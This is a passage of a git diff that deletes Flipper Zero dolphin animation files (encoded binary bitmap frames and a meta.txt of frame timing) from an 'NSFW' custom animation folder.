z;s6VrNu&=L;6CRZ2w=E@@qdm`AdvulPr>91FnmTJ5Jg#F0q-A$z%Y}*c>|6CvYQ5fHNYHoeS}S z{{G|q7ze;!SHO_K_tX3b`_Vt~1JMLO3%wj*D&fE3ARj?^gUk7eAQT_{|K`B|!SjLd z%jJND_&@vo7(DC{Fd+lR1`iwij78<(fWm?0pf!pFKmr;s1_lZbFF{0s>%eau0y+0r&rB pkQmZt4?sYJ_6~axGK1LCKfrzxL=2Pgd;j=g{s1sPz#ahb0RW(&`Q!iq diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_7.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_7.bm deleted file mode 100644 index cf189cb368ded2805b58f81ffc94acac3949439a..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 559 zcmV+~0?_>d04oCjfII=<4*(t<22=6@$iz!K7WWQILqU~2bcIBUI=+uS*O4im3SU;{=hu( z_zVa=a2Nl0IKQ|21Oz}a;Cg>S!+-c+_z(bi!Ig*nFB3FCA`gLaSHa`pzygFH9`Jbl z0Yndrz5*xU2i>OuARmYTU_kTi6Ut~j93Vaa0rIi|hd2+b{m5)U`>|jkST*?r((q6j z{Q?09{sYJaLG+)%C>4(byr3rotbD)m@Ob7tV4@GJd_m*Dj$fNZ4@$tiLFG@sL;!*g zI0fKi}Q|4FkY`!9(~8j2`g^fM2ga{$vlp4=)4+3OQkb|GNMD$UV9cct|{Hm+$=U z9K;oP;35CWAwc^H5yO9h=NG;l4iE4Lj5|1 z4749G;Bi6#;tzpwU?zYv2flckKw<}~pi?3O6_|tW9{_y_0Dg|q0+`@D;PRM$6Jiffc&^5ULkGWO@Bh!kje^Gz zdu{{ckAi48Nbz5Yz3K48(C@+JKqs|65eSLL8|8opqWnq20Q<%j!VX9Wus|U3jB(@a zq6eq=z98}VKx6QT0Qmvq{Rf;tK1m}04gP))DTcxx9T|W)@E`x*?hY#-fPAMA2r&?$ z|F4`pG9dEc0EOsZj6eJLkGQ}*6Yx;afrA78|FEB*)PBYZ75Q8MqkDnCa25W%{;ZV{ zdVjE`0-yiC{OAw#9$W}1P=Vto;eYq_79g+3frE#G%7F(t5C7^9H+aCo<=`NQFhB$k zE($>X5FmPn$Rr>Fu7HFebx2q~Kt+(31jrun;1K@=W)DXoz$3`QAs9UmW&UdjRDtvb zKzl049zyvCkQ9ORr%-%P)ann5{0o3~V0yF%z-C~3{07Jmh#&B5fcOA29D(=%@CSeh DuWkkk diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_9.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_9.bm deleted file mode 100644 index 42a5184d671a08042c9b29aea0d3f11e90868293..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 547 zcmV+;0^I!p03QPXfII=<4*(Ybf&?h|{=7a=7{kHy;JAN)g9iu1{=xYBgYF+N?tj7q z0|kr_9t&W6{EJ~07#1I`16|3L5;@L1R* zz%lp(%L9WJ5Imq0@DTa|<-za+3VaVM@Cbgv^OP#c7EllIc|Z0a0<44Q_=ornCnNYK z$kssdzwQI)Gw>IL9-I%DIRDlE1P1{D2d3OyRsYm~;0q{2vEl!S{lFAafP2aQ5c}Xg z|Af;AsJ#K_IN(D!0s6nkC=g8mey8B_z=P~iFi$wXqwu%}6Zju}U_7I`4ljUT9KZg4 zArOOq;2@#K3)>$0EyNAJp!0nUL)|b16c{E@4`<*WQVeu_6i^`f-vj61$;bErp$`~* zLFq7`14jT-B1r?z!C)7RBj64=27De;0RYdyL;gS>10Ihe;P5Ztq5MEE07Ah3|8f2d z1KHY)x$e;Lu=usbs-V7BV_Im$>2ao+8f5=IQa2S90|C%QddEvLfLcl`( zAN~G}9w)+vDGZ8V`~R%SAo7GkLFJ%;=mCNNC1GY52WSw8J>v=Uj)U3`4_!nk1|au{ z0ER)`36MP+f)78$EFV_~X%LJahqC-YcmYxev%o>(6+nC7AYk%q7(GEF1^xr=pg{6l l7(Ia^)DV571uVe!kFC%jH}|-mlpeqZ2l<$R`T+0;fCzwk`ZfRn diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/meta.txt b/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/meta.txt deleted file mode 100644 index 350c8e366..000000000 --- a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/meta.txt +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 60 -Active frames: 0 -Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 -Active cycles: 0 -Frame rate: 6 -Duration: 360 -Active cooldown: 0 - -Bubble slots: 0 diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_23/frame_0.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_23/frame_0.bm deleted file mode 100644 index 139cb6387669653eec61dd6ea67c7e7c13cc202c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1025 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 PMSwEn35+v`+tm3VU*HWO diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_23/frame_11.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_23/frame_11.bm deleted file mode 100644 index 39b9642bd7eb0631f71061c2aaf73f6044c7aff5..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1025 zcmWlYUrZcT6vofY?!pDc9Z(=zbq9j|vyGwk0TWxB3la)_q6DmIW6>r)$U1CeLXB)- z2D*vc6eDRgeej_RN?KPbeJDE-TxK;skeDWzuxzrUJLnU39fpVQE;7st6EUK_p}2?&dY($7Ch7UY6LCauPbWD~ z`l5|k#vgrqh})<@+OqVd`}m0`?;eUvROyPO5WgDUczUn$%(ixd>1Am_9Uf>~=TCoh ziikAD^n~>N#FnS^pv?>EvZa?2kyLKIZY}o`Pu4CwcxUWfru=?GuUo_MQ?@EydepZx zfpxL)G{DvfVz%1Xv(h)ZZd2xurk?D)*D~yReI^hEdiA>%JT6Rb>;s)?Zw02i3m?;9 z^E}G~f_o%`_l3UV{Z57a=_Hs+ChB6O2}dN#oW{A-po{Tsmw(g4wW9EG>F zlzijX$qLft{p@$H9`W3>)FDOKWgXCy=j-Cb@s{sK(+(Ar{FR##d3Dg6S z*s7#k=f$*!jV{WNVHgJPZ~CzznxC7%nXCcTDyVpJF)lL^7^yhmQom*}ol&f)dYS$PC-J zX|HjHdqE-be+*Z1!tYe?mTkBU^yTx#aN&Z3#k;At>-Px^{H!^$lPwuLxcr-+J_M8GtXTqZZ0VMB8*1S&OUVxFThS1_uo^CME&OJ38CU65_b- zL^w+FE3R~D!AMGFS+$x0u30M6iw6Et!c`CO#yH#GC2edFjZND_V643KKX0MFk0YKb Uu!eA9A)&8IXe6-`#O0#?A9uYAQvd(} diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_23/frame_12.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_23/frame_12.bm deleted file mode 100644 index 2c53dd6824fbc7bf1a0a77fcc580efc553377d59..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1025 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 Mqi4#TL_3D{Kar#i8~^|S diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_23/frame_15.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_23/frame_15.bm deleted file mode 100644 index e4f8e78312e719907285bbdb8221a3232d5e8853..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1025 zcmWlYUrZcT6vofY?!pB`1{8=^-GN~LY-4DBz{J+(f`me!C;@BQ*wrRJ2oBqr&_*^e z1Kq@Jijg#$KKRfDC9T_1`cQTvbeYxoKw_F;!m`PZ?x0WDbr>GHyT~weyxxbC-2C#L z@1A?k0c6LYVu8b&n1iS%HnJ}%*@QG9RUhjeG7-btJBo{_py#<1YLcGIKNE-bwp4=i zq|V!jC4B7LMchIKQkJDB+^5exIrl(JqDp5tiTLf{`t!Txr?#|XjF+T&b+Es6jX(L> z2_n)Y<8kT!_@<|2ztsz=lBE~p;beBLb~XDNPgXBFczg6ry7X~e;mrk?1y+dSxbd)glXdimZm9u+3m_kd2fwE*Mp{8bug znqzmrAdtTXRjj^FEq~@oOH-+ z&p{t2z8mil;9<6;&VKrG8MzVQ`>UX03v)<57rICvJssx({xwVKzV$#EsfWm2j>7v| zQoerkcp2&Re)&6B2fMaq&b?PvR^I?qLvAf?2)qEa+r}ZMJUV?~vv*qb zDh)G6&Q*^Jg+nosV}hA=$Idu?A3ZsJ_=p#v_RLc?Bxkd3hfxVCBT{$0owI}JpMghF!hXK`;9l!7=o5%>QgV+XYX68y~ zCE^>viyfcLNw($~!lOXJ56o~gjiLO)Ui(Df;0Y#&?r_?b?a-mX_j|XZ5l~_o95O@p zE!tz8;$Bfm>>tC`oX`iAJ0%+~0)72#A(TJoVBt=(_1Xgh{Xc7t>|~0@HZJ{E!`d@r zsZ1ZVhw=ticfkaVp=KLJmc`a;Rsgy!iTPtubA}5IEmY)Wl$`}rGgZxSf)xNoy{I~x zDPv&_Zv#=gT$t}Cmg?S?(SrS@J09P!P@q&R4{*m+mZ;Y}1UDQSgROxETLtwPD_`lv_95v4* USV5ehkLxQEOJSFTxKz;p18&(0SpWb4 diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_23/frame_16.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_23/frame_16.bm deleted file mode 100644 index 777c3868e302ca7135f88100a634c0689530278c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1025 zcmWlYZ%7+=7{{OAzUW|oa5=58v~O(1Bt_RH8--ERGwy{J z=AZk;vQ}2;+$ep!Oq4pq)xJprwf3Z2>0pc%LCbR0^Uat{&Xdt3&gc;I9gG)e9zIDPpx;_wwnQdIcFgDaT7a_zPWr)6kw@>iqbIExbpr^?GO)4 zVpK!*3fJA^gR3tGIB~`vO4sLeY$W&mE79!hWTOa2uvP8e*5Xja$C` zU9XGGz^GPjF^#XltVmvTi{5*4KqG76rht1(^>DJ`UmS(Q8c8XzPKu7i9 zUq1@s9XNh|AK`cHyz%kGw_l30%&`YvVE!zi+Hj^m$O!yEn4vI&%2sDoX~`tU#d|!! zGYRG4*@n+fw*(R#TPr@rWa(PtOmMRC4cY|2k7!Oj*8OhVX~7?61z;;UZ|@@)fNwek z0BKmy+fSm+%YK$2jX;D+8w+?fJk3Bm3k=VSg%v0Fb~+q^%K!q9dUv@PsH<%iuZt4^ zv+ad-M_KG>?`CTV05f|7EfYhu{xJ9m0|GZ?^e<$KLI%kdKXd@|yx`{Mh;Q(tc7IR+ zpxxWrYOZy&vvoWT1X$s2$&oQO{>d0c0Mf=q?iO;&{bPeKZvFrw54`e^>kmWU;m3sz zP9)>EpA}b==E?8I(4D8iMRF+PnrC_sbpVd1w{5K)xpXc3Q&$D*2utjK)DZ*eQ*)}2 za3^kB(x9~R!J9Xh%a9Qv{HtE&rWmw!CUHRQni6JIZiDM;%0rl`Kgyu)+XDEtKMx+V951SaW-f8CcTGSQ@faWP;p9Th(M+ zpHuaeRrUbmq%64-D`DAo%(xqXsFgC#p_-2uwEMP?qt5)Eia7)KY_u-eh6vyBEah;8=JDM2Ne>j?L8yZMTL31h1tkHDiCB|4yccG>w7I8b>QxsNq zXBwoKl7a;3rH8D+gJ!eTgYH1BjtDuVxrCrD>~x(ySZb8X*pl6mOlDqxzT4vi-}mRBy4iNR+W?_LTwV?kqW5=Q_^WsPoPq`p{CxkJnrwLN1XzGfMaoq9gNeIClNLwO zVbrjHIvrl5+n%o62Dl}e`Y`uX&mM^U5(~;IDSs}_&#Z$udG>}PC=aCUoBl^#t%23% zCICpIgPr0!;wxUL_4C|n)L1$?{aMSnJRWibgnOLT+-b3MwjP9%5yQ@&PkdYl_v0)ja`Q>NIXBgOkvk4|hJl71TQ@p0 z4ZeC-yfZ)n9Bi#58+%&VBkV_~S| z)%i`k+TC1TIz^g+mLM9Hay329lmrEYNl+w5Giql4J6+;Q2Ffn)Vx}kli;2I+s6@u?SKUYt) z5JA;7zQ7BY<`PZ7@vx9{`&}#_hp88>Fs=wYUL5n1ajzpiCeyXR?ZzBa#xcA8`POLg z4S;J0hE~YDa5pyXVxWypPp*wPh}r=Dlfv8IhS-{Iv^E#Zu3EHWE(2nEHMcCIp}Lqr ztgR#aL)*-bV0_7l<^yLyoYq$~G$hBey=2W%fmhHmV`VfvFK=OhW2tCdLoMs-dTKe> z1~7@v-bMvg8EqRclZi(S4~>Gin=Nh)j{&9VZrrHI8Da_t2iiqe?sv=DCYq5&W2-_| zrlYEvm?K|ZagbcxD|oiNh>@78#dY#eo2W0F_<%Ut^stVi<&0-(S=@-kiLV)6D4;s# OphV<#4;g@zg#QByS_lFF diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_23/frame_3.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_23/frame_3.bm deleted file mode 100644 index 39b9642bd7eb0631f71061c2aaf73f6044c7aff5..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1025 zcmWlYUrZcT6vofY?!pDc9Z(=zbq9j|vyGwk0TWxB3la)_q6DmIW6>r)$U1CeLXB)- z2D*vc6eDRgeej_RN?KPbeJDE-TxK;skeDWzuxzrUJLnU39fpVQE;7st6EUK_p}2?&dY($7Ch7UY6LCauPbWD~ z`l5|k#vgrqh})<@+OqVd`}m0`?;eUvROyPO5WgDUczUn$%(ixd>1Am_9Uf>~=TCoh ziikAD^n~>N#FnS^pv?>EvZa?2kyLKIZY}o`Pu4CwcxUWfru=?GuUo_MQ?@EydepZx zfpxL)G{DvfVz%1Xv(h)ZZd2xurk?D)*D~yReI^hEdiA>%JT6Rb>;s)?Zw02i3m?;9 z^E}G~f_o%`_l3UV{Z57a=_Hs+ChB6O2}dN#oW{A-po{Tsmw(g4wW9EG>F zlzijX$qLft{p@$H9`W3>)FDOKWgXCy=j-Cb@s{sK(+(Ar{FR##d3Dg6S z*s7#k=f$*!jV{WNVHgJPZ~CzznxC7%nXCcTDyVpJF)lL^7^yhmQom*}ol&f)dYS$PC-J zX|HjHdqE-be+*Z1!tYe?mTkBU^yTx#aN&Z3#k;At>-Px^{H!^$lPwuLxcr-+J_M8GtXTqZZ0VMB8*1S&OUVxFThS1_uo^CME&OJ38CU65_b- zL^w+FE3R~D!AMGFS+$x0u30M6iw6Et!c`CO#yH#GC2edFjZND_V643KKX0MFk0YKb Uu!eA9A)&8IXe6-`#O0#?A9uYAQvd(} diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_23/frame_4.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_23/frame_4.bm deleted file mode 100644 index 303072084c521956930ee76ecce51924f5c24645..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1025 zcmWlYT}&KR6vxjUX4%13cc8Q?+H`h7ttKiDHSr_310`|W7h1yZ8j$X4nwYX379XIA ze9T=MTVj)nrs=CIffONA`m(c0DGsR`O^mT2fySM}@M0vAVTtMPAk&%S?0q=N&F}n@ zlXL$U&^zH}uT)_mxrwN&Yu)crNmr{>-;1lZ(2VRRo^KJbxSi@a-YqmwBl8%2M>xLua>*?CTtWUhw?*j|2qIBIFS+WpGRIs47lohE>vdQHSWZesVBFE8H{1z5IFQ5vQ~tMBaA4)MSw zM|IS$a9!PgxcXdx6E};vm?Kl;ojzdqo&xAvEEE&pa3`Xpa8Rix+-6Z84YMmd<}Lrh z&X+`HU{trF)%;-MtIxz)=JQK;Wj#{>Ax%kVSH(2HJsnlJ|0R%s=>kTTM^^ zpj|uqTCQcQqh&k;1X$s2$(1oa{?Qmk0Mg1u@8)yL561_e-uf0q9(d&+&mV@qqYv`! zoJhuRKQ64Lil@FFL$99#7tNuJ>s8bHXaI0Lz3u4b=%s6s?>jB1BP?}uv8)!SZ^hWDMVB0FUl_u zyj=@oUcuZP;^LUajBNUd$JZ)9LbldXP7;9@3bNuok#5NNFnkhN7rp%IWgObp-Er%oCK+H~?y{M@P&Dn7L9Ca7=HO!f~ZyI*qPoc1H*b-{1 OX?fUip8?)A%Krl#Mg#-^ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_23/frame_5.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_23/frame_5.bm deleted file mode 100644 index a3a3aa326ef056bf48679de98be3fd3d937bddef..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1025 zcmWktT}&fY82x5iV4#Z~5v9sTrUYHG$!cRnU(D`MKnc+ZD~PgUF)`T$9I7!3W=ZL^ zG@6i@)VKsYGUHsYPQAfb-8Bug)ElwuT$*o^mF(g?!$L-&OP_! zTtIs+$o5fl>=up@i8_)hf+`Vqr%D)}D4gJz!9sK$)FdL7CXxKe7V{2K9ka{_uwFzA z7~OYN!@XUi-ZkHMjS*EY0Ru-mqPBRa=>Sol%>utumK0-rATZXvlzr9*&Vpv+ z$<1%Scfa@Zqa4S~nnYESt7WKscQ%J2(p_LA~YPdNgt^MwCMLtlCINAb;W0A`P(_Iz(VS^td~ZUX=`6eSvcJm-+Rp5{eP z9M_O`w)YOP;6Gglz++*%gX>wiaUMQ2+?*KOL;XoMK2th$uxl*KKqwtr6tDC>ocB6k zcLAT(vE(|t;fc5Rx&~}}@(c-l(ckH5eX-%x#W?|P?}v-7T+So3M?9NV5Y3kI+AE3G zC1DNtw;4`&7qL(^H17d^?WvVI7OpF4O-a7$8T8#2-iQEa$9i~a@MGUtJO5aQNq*)_3cm|Z5ai!f9T(*1fcMJ4Fiy_EjMCNc7sy_|8{!b% zl}dQFZJvR*>@4i(nn+V0`Gw|)A9xW!43a5q5*AMLb29L;zB)vjR%EeGp5wp?@$1rr zi7k!u>+%oaWT4TH7*r-ZH!sAZ&wR zghpBiETpy_h@HzwSgbJq){7;Xmq8>Z61ul|ZE%%>&?bNsB)d|m$=ml|(VGB>-n6iU z`e=;5rPYoBcWotjiB8PmgFWHH2fnP8`@2oNf_iB>O|*c(vd#!qaVRsYFQf5{Z;1!L zt#2!2LWEvE|0f#(I<84{N-yD641aDLGO&n6Izv_6I$ZVx?B1d&YM_PN!`Q(HU`|hC zS<7!pdPNB^T*D+NO^ zd>_F*HoXSCPC(cJbY*4jv3E_8D!H z@|YUXU5@EX=UaE{4+&zXsCO5;)}4Q&&e>*_v3>lb*T246<~={B`H7S?n1V%a`) zrR^Mduco=%OJW|HD#YIOaVNxN+!s?4SDYM4opmlEtW<8tM%HUH2gA zl1+AP*eX_!j<3D{p(}<9`?sS|@KZ7O>C9Vud`taS0kdbv|Ezdb$BQJ)ScaBERm1AY zj{i1A=*72#Ry=*b^*1l-h$k)yBdViOcn0i+L6TB(FrXzmfOkcvwt3M(ZwkFa=-A8C zH4IC?Drw*%&Yqu+)f2~4mkp(W;$a%!YNSzF*fC1bB;$T0IT&ZEh`Uxalp+SpH7}pv z3cW#e`D+VCYRk^8l-C1IY%;MFl?I{p;oo80`6|qI<{g-`MO$4r2W&T8dZMpnVW>7@ zKvlJ;eFWG{-$XQH=)VL`y3b3>#9>I5S zHWA&1zLqONjiYShGuN>ScYe*;NY7=ZL4joBVZkWHQyNSQeN2!nXhm%Wg&sSqmx!uW zWmhY>JBR8LyYsHza(os&1Masigo)C*>|6m4fr10AI>b4!Of8LEkETkNml#!XBY@=M LK-5dLWmx|M^Nb7# diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_23/frame_7.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_23/frame_7.bm deleted file mode 100644 index e4f8e78312e719907285bbdb8221a3232d5e8853..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1025 zcmWlYUrZcT6vofY?!pB`1{8=^-GN~LY-4DBz{J+(f`me!C;@BQ*wrRJ2oBqr&_*^e z1Kq@Jijg#$KKRfDC9T_1`cQTvbeYxoKw_F;!m`PZ?x0WDbr>GHyT~weyxxbC-2C#L z@1A?k0c6LYVu8b&n1iS%HnJ}%*@QG9RUhjeG7-btJBo{_py#<1YLcGIKNE-bwp4=i zq|V!jC4B7LMchIKQkJDB+^5exIrl(JqDp5tiTLf{`t!Txr?#|XjF+T&b+Es6jX(L> z2_n)Y<8kT!_@<|2ztsz=lBE~p;beBLb~XDNPgXBFczg6ry7X~e;mrk?1y+dSxbd)glXdimZm9u+3m_kd2fwE*Mp{8bug znqzmrAdtTXRjj^FEq~@oOH-+ z&p{t2z8mil;9<6;&VKrG8MzVQ`>UX03v)<57rICvJssx({xwVKzV$#EsfWm2j>7v| 